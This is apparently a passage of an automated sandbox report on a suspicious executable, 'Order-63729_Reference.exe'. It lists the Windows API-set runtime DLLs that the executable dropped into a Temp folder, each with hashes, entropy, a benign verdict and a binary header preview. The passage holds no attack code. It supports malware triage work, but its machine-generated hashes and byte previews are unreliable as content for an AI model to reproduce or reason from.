SHA-512:	8133FB9F6B92F498413DB3140A80D6624A705F80D9C7AE627DFD48ADEB8C5305A61351BF27BBF02B4D3961F9943E26C55C2A66976251BB61EF1537BC8C212ADD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...S.v............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....S.v.........@...T...T.......S.v.........d...............S.v.....................RSDS..pS...Z4Yr.E@......api-ms-win-core-localization-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................S.v.....v.......;...;...(.......................<...f.......................5...]...................!...I...q...................N.............../...j.............../...^.................../...\...................8...`...........

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-memory-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.101895292899441
Encrypted:	false
SSDEEP:	384:+bZWPhWUsnhi00GftpBjwBemQlD16Par7:b4nhoi6BedH
MD5:	D500D9E24F33933956DF0E26F087FD91
SHA1:	6C537678AB6CFD6F3EA0DC0F5ABEFD1C4924F0C0
SHA-256:	BB33A9E906A5863043753C44F6F8165AFE4D5EDB7E55EFA4C7E6E1ED90778ECA
SHA-512:	C89023EB98BF29ADEEBFBCB570427B6DF301DE3D27FF7F4F0A098949F987F7C192E23695888A73F1A2019F1AF06F2135F919F6C606A07C8FA9F07C00C64A34B5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....%(...........!......................... ...............................0............@.............................l............ ..................8=..............T............................................................................text...l........................... ..`.rsrc........ ......................@..@......%(........:...T...T.........%(........d.................%(....................RSDS.~....%.T.....CO....api-ms-win-core-memory-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......l....edata... ..`....rsrc$01....` .......rsrc$02......................%(....................(...h...........)...P...w...................C...g...................%...P...........B...g...................4...[...\|...................=...................................api-ms-win-core-memory-l1-1-0.dl

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-namedpipe-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.16337963516533
Encrypted:	false
SSDEEP:	192:pgWIghWGZiBeS123Ouo+Uggs/nGfe4pBjS/fE/hWh0txKdmVWQ4GWoxYyqnaj/6B:iWPhWUEi00GftpBj1temnltcwWB
MD5:	6F6796D1278670CCE6E2D85199623E27
SHA1:	8AA2155C3D3D5AA23F56CD0BC507255FC953CCC3
SHA-256:	C4F60F911068AB6D7F578D449BA7B5B9969F08FC683FD0CE8E2705BBF061F507
SHA-512:	6E7B134CA930BB33D2822677F31ECA1CB6C1DFF55211296324D2EA9EBDC7C01338F07D22A10C5C5E1179F14B1B5A4E3B0BAFB1C8D39FCF1107C57F9EAF063A7B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L... ..............!......................... ...............................0.......-....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.... ...........=...T...T....... ...........d............... .......................RSDS...IK..XM.&......api-ms-win-core-namedpipe-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................ .......................(...P...x...............:...w...............O...y...............&...W...............=...j.......................api-ms-win-core-namedpipe-l1-1-0.dll.ConnectNamedPipe.kernel32.ConnectNamedPipe.CreateNamedP

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-processenvironment-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.073730829887072
Encrypted:	false
SSDEEP:	192:wXjWIghWGd4dsNtL/123Ouo+Uggs/nGfe4pBjSXcYddWh0txKdmVWQ4SW04engo5:MjWPhWHsnhi00GftpBjW7emOj5l1z6hP
MD5:	5F73A814936C8E7E4A2DFD68876143C8
SHA1:	D960016C4F553E461AFB5B06B039A15D2E76135E
SHA-256:	96898930FFB338DA45497BE019AE1ADCD63C5851141169D3023E53CE4C7A483E
SHA-512:	77987906A9D248448FA23DB2A634869B47AE3EC81EA383A74634A8C09244C674ECF9AADCDE298E5996CAFBB8522EDE78D08AAA270FD43C66BEDE24115CDBDFED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...).r............!......................... ...............................0.......:....@.............................G............ ..................0=..............T............................................................................text...G........................... ..`.rsrc........ ......................@..@....).r.........F...T...T.......).r.........d...............).r.....................RSDS.6..~x.......'......api-ms-win-core-processenvironment-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......G....edata... ..`....rsrc$01....` .......rsrc$02........).r.....................(...\|.......B...............$...M...{...............P...................6...k.............../...(...e...............=...f...............8...q...............!...T............... ...........................

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-processthreads-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19392
Entropy (8bit):	7.082421046253008
Encrypted:	false
SSDEEP:	384:afk1JzNcKSIJWPhW2snhi00GftpBjZqcLvemr4PlgC:RcKST+nhoi/BbeGv
MD5:	A2D7D7711F9C0E3E065B2929FF342666
SHA1:	A17B1F36E73B82EF9BFB831058F187535A550EB8
SHA-256:	9DAB884071B1F7D7A167F9BEC94BA2BEE875E3365603FA29B31DE286C6A97A1D
SHA-512:	D436B2192C4392A041E20506B2DFB593FE5797F1FDC2CDEB2D7958832C4C0A9E00D3AEA6AA1737D8A9773817FEADF47EE826A6B05FD75AB0BDAE984895C2C4EF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......l.....@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@................B...T...T...................d.......................................RSDS..t........=j.......api-ms-win-core-processthreads-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................1...1...(...........K...x...............,...`...................C...q...............'...N...y..............."...I...{...............B...p...............,...c...............H...x...................9...S...p.......

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-processthreads-l1-1-1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.1156948849491055
Encrypted:	false
SSDEEP:	384:xzADfIeRWPhWKEi00GftpBjj1emMVlvN0M:xzfeWeoi11ep
MD5:	D0289835D97D103BAD0DD7B9637538A1
SHA1:	8CEEBE1E9ABB0044808122557DE8AAB28AD14575
SHA-256:	91EEB842973495DEB98CEF0377240D2F9C3D370AC4CF513FD215857E9F265A6A
SHA-512:	97C47B2E1BFD45B905F51A282683434ED784BFB334B908BF5A47285F90201A23817FF91E21EA0B9CA5F6EE6B69ACAC252EEC55D895F942A94EDD88C4BFD2DAFD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....9.............!......................... ...............................0......k.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....9..........B...T...T........9..........d................9......................RSDS&.n....5..l....)....api-ms-win-core-processthreads-l1-1-1.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............9......................(...`...........-...l..........."...W...................N...................P...............F...q...............3...r...................................api-ms-win-core-processthreads-l1-1-1.dll.FlushInstr

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-profile-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17712
Entropy (8bit):	7.187691342157284
Encrypted:	false
SSDEEP:	192:w9WIghWGdUuDz7M123Ouo+Uggs/nGfe4pBjSXrw58h6Wh0txKdmVWQ4SW7QQtzko:w9WPhWYDz6i00GftpBjXPemD5l1z6hv
MD5:	FEE0926AA1BF00F2BEC9DA5DB7B2DE56
SHA1:	F5A4EB3D8AC8FB68AF716857629A43CD6BE63473
SHA-256:	8EB5270FA99069709C846DB38BE743A1A80A42AA1A88776131F79E1D07CC411C
SHA-512:	0958759A1C4A4126F80AA5CDD9DF0E18504198AEC6828C8CE8EB5F615AD33BF7EF0231B509ED6FD1304EEAB32878C5A649881901ABD26D05FD686F5EBEF2D1C3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....&............!......................... ...............................0......0.....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....&.........;...T...T........&.........d................&.....................RSDS...O.""#.n....D:....api-ms-win-core-profile-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................&.....<...............(...0...8...w......._...........api-ms-win-core-profile-l1-1-0.dll.QueryPerformanceCounter.kernel32.QueryPerformanceCounter.QueryPerformanceFrequency.kernel32.QueryPerformanceFrequency....................

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-rtlsupport-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17720
Entropy (8bit):	7.19694878324007
Encrypted:	false
SSDEEP:	384:61G1WPhWksnhi00GftpBjEVXremWRlP55Jk:kGiYnhoiqVXreDT5Y
MD5:	FDBA0DB0A1652D86CD471EAA509E56EA
SHA1:	3197CB45787D47BAC80223E3E98851E48A122EFA
SHA-256:	2257FEA1E71F7058439B3727ED68EF048BD91DCACD64762EB5C64A9D49DF0B57
SHA-512:	E5056D2BD34DC74FC5F35EA7AA8189AAA86569904B0013A7830314AE0E2763E95483FABDCBA93F6418FB447A4A74AB0F07712ED23F2E1B840E47A099B1E68E18
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......(...........!......................... ...............................0......}"....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.......(........>...T...T..........(........d..................(....................RSDS?.L.N.o.....=.......api-ms-win-core-rtlsupport-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................(....F...............(...4...@...~...........l.................api-ms-win-core-rtlsupport-l1-1-0.dll.RtlCaptureContext.ntdll.RtlCaptureContext.RtlCaptureStackBackTrace.ntdll.RtlCaptureStackBackTrace.RtlUnwind.ntdll.RtlUnwind.

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-string-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.137724132900032
Encrypted:	false
SSDEEP:	384:xyMvRWPhWFs0i00GftpBjwCJdemnflUG+zI4:xyMvWWoibeTnn
MD5:	12CC7D8017023EF04EBDD28EF9558305
SHA1:	F859A66009D1CAAE88BF36B569B63E1FBDAE9493
SHA-256:	7670FDEDE524A485C13B11A7C878015E9B0D441B7D8EB15CA675AD6B9C9A7311
SHA-512:	F62303D98EA7D0DDBE78E4AB4DB31AC283C3A6F56DBE5E3640CBCF8C06353A37776BF914CFE57BBB77FC94CCFA48FAC06E74E27A4333FBDD112554C646838929
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....R............!......................... ...............................0.......\....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......R.........:...T...T.........R.........d.................R.....................RSDS..D..a..1.f....7....api-ms-win-core-string-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02......................R.....x...............(...H...h...............)...O...x...........................>...i...........................api-ms-win-core-string-l1-1-0.dll.CompareStringEx.kernel32.CompareStringEx.CompareStringOrdinal.kernel32.Compare

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-synch-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.04640581473745
Encrypted:	false
SSDEEP:	384:5Xdv3V0dfpkXc0vVaHWPhWXEi00GftpBj9em+4lndanJ7o:5Xdv3VqpkXc0vVa8poivex
MD5:	71AF7ED2A72267AAAD8564524903CFF6
SHA1:	8A8437123DE5A22AB843ADC24A01AC06F48DB0D3
SHA-256:	5DD4CCD63E6ED07CA3987AB5634CA4207D69C47C2544DFEFC41935617652820F
SHA-512:	7EC2E0FEBC89263925C0352A2DE8CC13DA37172555C3AF9869F9DBB3D627DD1382D2ED3FDAD90594B3E3B0733F2D3CFDEC45BC713A4B7E85A09C164C3DFA3875
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......2...........!......................... ...............................0............@.............................V............ ..................8=..............T............................................................................text...V........................... ..`.rsrc........ ......................@..@.......2........9...T...T..........2........d..................2....................RSDS...z..C...+Q_.....api-ms-win-core-synch-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg.......V....edata... ..`....rsrc$01....` .......rsrc$02.......................2............)...)...(.......p.......1...c...................!...F...m...............$...X...........$...[.......................@...i...............!...Q.......................[...............7...........O...................

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-synch-l1-2-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.138910839042951
Encrypted:	false
SSDEEP:	384:JtZ3gWPhWFA0i00GftpBj4Z8wemFfYlP55t:j+oiVweb53
MD5:	0D1AA99ED8069BA73CFD74B0FDDC7B3A
SHA1:	BA1F5384072DF8AF5743F81FD02C98773B5ED147
SHA-256:	30D99CE1D732F6C9CF82671E1D9088AA94E720382066B79175E2D16778A3DAD1
SHA-512:	6B1A87B1C223B757E5A39486BE60F7DD2956BB505A235DF406BCF693C7DD440E1F6D65FFEF7FDE491371C682F4A8BB3FD4CE8D8E09A6992BB131ADDF11EF2BF9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...XuY...........!......................... ...............................0......3.....@.............................v............ ..................8=..............T............................................................................text...v........................... ..`.rsrc........ ......................@..@....XuY........9...T...T.......XuY........d...............XuY....................RSDS.V..B...`..S3.....api-ms-win-core-synch-l1-2-0.pdb............T....rdata..T........rdata$zzzdbg.......v....edata... ..`....rsrc$01....` .......rsrc$02....................X*uY....................(...l...........R...................W...............&...b...............$...W.......6...w...............;...\|...............H...................A.....................................api-ms-win-core-synch-

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-sysinfo-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.072555805949365
Encrypted:	false
SSDEEP:	384:2q25WPhWWsnhi00GftpBj1u6qXxem4l1z6hi:25+SnhoiG6IeA8
MD5:	19A40AF040BD7ADD901AA967600259D9
SHA1:	05B6322979B0B67526AE5CD6E820596CBE7393E4
SHA-256:	4B704B36E1672AE02E697EFD1BF46F11B42D776550BA34A90CD189F6C5C61F92
SHA-512:	5CC4D55350A808620A7E8A993A90E7D05B441DA24127A00B15F96AAE902E4538CA4FED5628D7072358E14681543FD750AD49877B75E790D201AB9BAFF6898C8D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....C=...........!......................... ...............................0............@.............................E............ ..................0=..............T............................................................................text...E........................... ..`.rsrc........ ......................@..@......C=........;...T...T.........C=........d.................C=....................RSDS....T.>eD.#\|.../....api-ms-win-core-sysinfo-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......E....edata... ..`....rsrc$01....` .......rsrc$02......................C=....................(...........:...i...............N...................7...s...............+...M...r.............../...'...V...............:...k...................X............... ...?...d..............."...................

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-timezone-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18224
Entropy (8bit):	7.17450177544266
Encrypted:	false
SSDEEP:	384:SWPhWK3di00GftpBjH35Gvem2Al1z6hIu:77NoiOve7eu
MD5:	BABF80608FD68A09656871EC8597296C
SHA1:	33952578924B0376CA4AE6A10B8D4ED749D10688
SHA-256:	24C9AA0B70E557A49DAC159C825A013A71A190DF5E7A837BFA047A06BBA59ECA
SHA-512:	3FFFFD90800DE708D62978CA7B50FE9CE1E47839CDA11ED9E7723ACEC7AB5829FA901595868E4AB029CDFB12137CF8ECD7B685953330D0900F741C894B88257B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....Y.x...........!......................... ...............................0......}3....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....Y.x........<...T...T........Y.x........d................Y.x....................RSDS.^.b. .t.H.a.......api-ms-win-core-timezone-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................Y.x....................(...L...p...........5...s...........+...i...................U...............I.........................api-ms-win-core-timezone-l1-1-0.dll.FileTimeToSystemTime.kernel32.FileTimeToSystemTime.GetDynamicTimeZ

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-util-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1007227686954275
Encrypted:	false
SSDEEP:	192:pePWIghWG4U9wluZo123Ouo+Uggs/nGfe4pBjSbKT8wuxWh0txKdmVWQ4CWnFnwQ:pYWPhWFS0i00GftpBj7DudemJlP552
MD5:	0F079489ABD2B16751CEB7447512A70D
SHA1:	679DD712ED1C46FBD9BC8615598DA585D94D5D87
SHA-256:	F7D450A0F59151BCEFB98D20FCAE35F76029DF57138002DB5651D1B6A33ADC86
SHA-512:	92D64299EBDE83A4D7BE36F07F65DD868DA2765EB3B39F5128321AFF66ABD66171C7542E06272CB958901D403CCF69ED716259E0556EE983D2973FAA03C55D3E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....f............!......................... ...............................0......`k....@.............................9............ ..................8=..............T............................................................................text...)........................... ..`.rsrc........ ......................@..@......f.........8...T...T.........f.........d.................f.....................RSDS*...$.L.Rm..l.....api-ms-win-core-util-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg.......9....edata... ..`....rsrc$01....` .......rsrc$02..........f.....J...................,...@...o...................j...}.........................api-ms-win-core-util-l1-1-0.dll.Beep.kernel32.Beep.DecodePointer.kernel32.DecodePointer.DecodeSystemPointer.kernel32.DecodeSystemPointer.EncodePointer.kernel3

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-conio-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.088693688879585
Encrypted:	false
SSDEEP:	384:8WPhWz4Ri00GftpBjDb7bemHlndanJ7DW:Fm0oiV7beV
MD5:	6EA692F862BDEB446E649E4B2893E36F
SHA1:	84FCEAE03D28FF1907048ACEE7EAE7E45BAAF2BD
SHA-256:	9CA21763C528584BDB4EFEBE914FAAF792C9D7360677C87E93BD7BA7BB4367F2
SHA-512:	9661C135F50000E0018B3E5C119515CFE977B2F5F88B0F5715E29DF10517B196C81694D074398C99A572A971EC843B3676D6A831714AB632645ED25959D5E3E7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v..............................8...d...d..................d......................................RSDS....<....2..u....api-ms-win-crt-conio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...............T...............(.......................>...w.........../...W...p...........................,...L...l.......................,...L...m...............t...........'...^...............P...g...........................$...=...

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-convert-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22328
Entropy (8bit):	6.929204936143068
Encrypted:	false
SSDEEP:	384:EuydWPhW7snhi00GftpBjd6t/emJlDbN:3tnhoi6t/eAp
MD5:	72E28C902CD947F9A3425B19AC5A64BD
SHA1:	9B97F7A43D43CB0F1B87FC75FEF7D9EEEA11E6F7
SHA-256:	3CC1377D495260C380E8D225E5EE889CBB2ED22E79862D4278CFA898E58E44D1
SHA-512:	58AB6FEDCE2F8EE0970894273886CB20B10D92979B21CDA97AE0C41D0676CC0CD90691C58B223BCE5F338E0718D1716E6CE59A106901FE9706F85C3ACF7855FF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....NE............!.........................0...............................@............@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v....................NE.........:...d...d........NE.........d................NE.....................RSDS..e.7P.g^j..[....api-ms-win-crt-convert-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.....................NE.............z...z...8... .......(...C...^...y...........................1...N...k...............................*...E...`...y...............................5...R...o.......................,...M...n...........

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-environment-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18736
Entropy (8bit):	7.078409479204304
Encrypted:	false
SSDEEP:	192:bWIghWGd4edXe123Ouo+Uggs/nGfe4pBjSXXmv5Wh0txKdmVWQ4SWEApkqnajPBZ:bWPhWqXYi00GftpBjBemPl1z6h2
MD5:	AC290DAD7CB4CA2D93516580452EDA1C
SHA1:	FA949453557D0049D723F9615E4F390010520EDA
SHA-256:	C0D75D1887C32A1B1006B3CFFC29DF84A0D73C435CDCB404B6964BE176A61382
SHA-512:	B5E2B9F5A9DD8A482169C7FC05F018AD8FE6AE27CB6540E67679272698BFCA24B2CA5A377FA61897F328B3DEAC10237CAFBD73BC965BF9055765923ABA9478F8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....jU............!......................... ...............................0......G.....@............................."............ ..................0=..............T............................................................................text...2........................... ..`.rsrc........ ......................@..@v....................jU.........>...d...d........jU.........d................jU.....................RSDSu..1.N....R.s,"\....api-ms-win-crt-environment-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg......."....edata... ..`....rsrc$01....` .......rsrc$02.................jU.....................8...............C...d...........................3...O...l....................... .......5...Z...w.......................)...F...a...........................................................

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-filesystem-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.085387497246545
Encrypted:	false
SSDEEP:	384:sq6nWm5C1WPhWFK0i00GftpBjB1UemKklUG+zIOd/:x6nWm5CiooiKeZnbd/
MD5:	AEC2268601470050E62CB8066DD41A59
SHA1:	363ED259905442C4E3B89901BFD8A43B96BF25E4
SHA-256:	7633774EFFE7C0ADD6752FFE90104D633FC8262C87871D096C2FC07C20018ED2
SHA-512:	0C14D160BFA3AC52C35FF2F2813B85F8212C5F3AFBCFE71A60CCC2B9E61E51736F0BF37CA1F9975B28968790EA62ED5924FAE4654182F67114BD20D8466C4B8F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......h...........!......................... ...............................0......I.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v......................h........=...d...d..........h........d..................h....................RSDS.....a.'..G...A.....api-ms-win-crt-filesystem-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................h............A...A...8...<...@...........$...=...V...q...................)...M...q......................./...O...o...........................7...X...v...........................6...U...r.......................

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-heap-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.060393359865728
Encrypted:	false
SSDEEP:	192:+Y3vY17aFBR4WIghWG4U9CedXe123Ouo+Uggs/nGfe4pBjSbGGAPWh0txKdmVWQC:+Y3e9WPhWFsXYi00GftpBjfemnlP55s
MD5:	93D3DA06BF894F4FA21007BEE06B5E7D
SHA1:	1E47230A7EBCFAF643087A1929A385E0D554AD15
SHA-256:	F5CF623BA14B017AF4AEC6C15EEE446C647AB6D2A5DEE9D6975ADC69994A113D
SHA-512:	72BD6D46A464DE74A8DAC4C346C52D068116910587B1C7B97978DF888925216958CE77BE1AE049C3DCCF5BF3FFFB21BC41A0AC329622BC9BBC190DF63ABB25C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...J.o ...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................J.o ........7...d...d.......J.o ........d...............J.o ....................RSDSq.........pkQX[....api-ms-win-crt-heap-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........J.o ....6...............(...........c...................S.......................1...V...y.......................<...c...........................U...z...............:...u...................&...E...p.......................,...U...

C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-locale-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.13172731865352
Encrypted:	false
SSDEEP:	192:fiWIghWGZirX+4z123Ouo+Uggs/nGfe4pBjS/RFcpOWh0txKdmVWQ4GWs8ylDikh:aWPhWjO4Ri00GftpBjZOemSXlvNQ0
